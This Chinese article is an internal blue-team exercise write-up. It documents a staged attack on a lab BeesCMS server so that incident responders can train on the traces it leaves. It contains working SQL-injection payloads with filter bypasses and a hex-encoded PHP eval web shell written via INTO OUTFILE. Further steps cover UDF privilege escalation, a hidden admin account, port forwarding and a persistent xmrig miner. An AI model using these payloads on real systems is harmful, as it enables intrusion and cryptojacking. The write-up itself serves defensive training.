本文为整个专题的第二篇,攻击模拟的第一篇,主要模拟业务系统使用存在已知漏洞的CMS,导致被攻击,进而植入挖矿脚本的过程。
该部分主要由内部蓝军完成,攻击链路设计是 @exploitworld 负责,攻击模拟和报告编写由 @可达鸭 和 @番茄 负责,感谢为本篇文章提供素材。
01
—
攻击模拟说明
攻击模拟并非实战渗透,但又贴近于实战。真实的产生了攻击痕迹(日志),但为了让应急人员聚焦这部分日志,减少了其他操作。与真实情况相比,主要有两点区别:
整个攻击模拟专项,主要分为以下五个步骤:
02
—
攻击链设计
攻击链取材于实际的业务场景:互联网侧开放了带有漏洞的服务,从而导致被攻击者发现利用,最终沦为矿机。攻击者的攻击手法较为常见,利用已知CMS的漏洞进行攻击,攻击模拟过程中的每一步都尽量完整操作,以便于留下攻击痕迹。
简单
简单
通过常见的信息收集方法(端口扫描、目录扫描、cms指纹识别等),获取目标对外开放的服务和使用的CMS;然后利用已知漏洞进行攻击,获取webshell;接着对内网进行信息收集,利用udf进行权限提升;最后植入挖矿脚本,并创建后门账号、反弹端口进行远控。
03
—
资源准备
1台 windows 2008 服务器
04
—
靶场搭建
主要的漏洞环境为beescms,存在后台页面登录处的SQLi、登录处可爆破、登录后可任意文件上传等漏洞。详细环境如下:
操作系统版本 | Web服务器 | Web后端语言 | DB版本 | CMS版本 |
---|---|---|---|---|
Windows2008 | Apache端口80 | PHP5.6 | MySQL5.3(开启secure_file_priv为空) | Beescms V4.0源码地址:http://beescms.com/cxxz.html |
05
—
实施攻击
靶标初始环境需干净、开启各项日志记录。攻击时需要记录每个动作的时间,以便后续与应急响应报告做比对。
15:48–15:50,端口扫描,发现:发现存在http、mysql等服务;
15:50,进行网站后台扫描,发现:一些可利用的页面;
16:24,对后台登录的用户名处,进行SQL注入
根据报错回显,判断user参数处存在基于报错的SQL漏洞。
判断当前数据库字段数,为后续进行手工注入做准备:admin’order by 5,数据库操作正常
继续尝试payload:admin’order by 6,数据库报错,说明字段是为5(最开始用二分法进行尝试,逐步定位正确的字段数)
16:37,构造payload获取数据库名emergency:user=admin' a and nd
updatexml(1,concat(0x7e,(selselectect database()),0x7e),1)#
注:a and nd为多次测试发现,系统对sql语句有过滤,但是可以通过复写+空格绕过 - - 网上已知
union => uni union onselect => selselectectoutfile => outoutfilefileinto => in into |
---|
继续查看当前数据库权限为root,可以直接一句话文件至web目录。
17:40,写入php一句话木马文件cmd.php(beescms使用htmlspecialchars()对输入中含有特殊符号进行HTML实体转义,导致php一句话<?php @eval($_POST[cmd]);?>不能写入。
利用mysql注入的特性对shell部分进行hex编码或使用MySQL函数char()进行绕过)
admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e in into outoutfilefile 'cmd.php'# |
---|
16:15,开始进行后台用户名/密码,进行暴力破解(图片验证码存在缺陷,可以直接爆破),成功爆破出管理员账密admin/emergency
16:26,使用admin账号登录网站后台
16:33,在后台找到1处文件上传功能,尝试直接上传php一句话木马文件,成功上传/upload/img/202108041633293835.php
16:35,访问shell:202108041633293835.php
16:37,通过202108041633293835.php执行系统命令whoami
使用webshell翻网站文件中的敏感信息,找到MySQL数据库的账密和配置文件。
发现secure_file_prive为空,可以进行udf提权
18:00,上传moon.php
当前webshell功能较为单一,重新上传一个功能丰富的大马
18:29,使用moon.php登录数据库;
18:31,创建文件plugin
18:32,导出udf提权dll成功
18:33,创建sys_eval并执行whoami
18:37,创建影子账户adminadmin$
18:42,将账户adminadmin$加入本地管理员组
19:07,上传F111.exe文件到C:\emergency\phpstudy\tools\pear
19:10–19:11,将目标53端口映射到3389端口:F111.exe -l 53 -s 53 -r 3389 10.xx.xx.xx
18:45,通过webshell上传挖矿程序xmrig.exe等四个文件
18:48,运行挖矿程序,系统CPU使用率开始飙升。
18:53,将挖矿程序添加到自启动中
19:06,注册挖矿程序服务,设置挖矿自启动
06
环境备份
攻击完成之后,不再做其他的操作,立马对环境创建快照,以免过多操作给应急人员带来太多干扰。然后按照约定的方式和时间,把快照同步给各组的应急人员进行分析。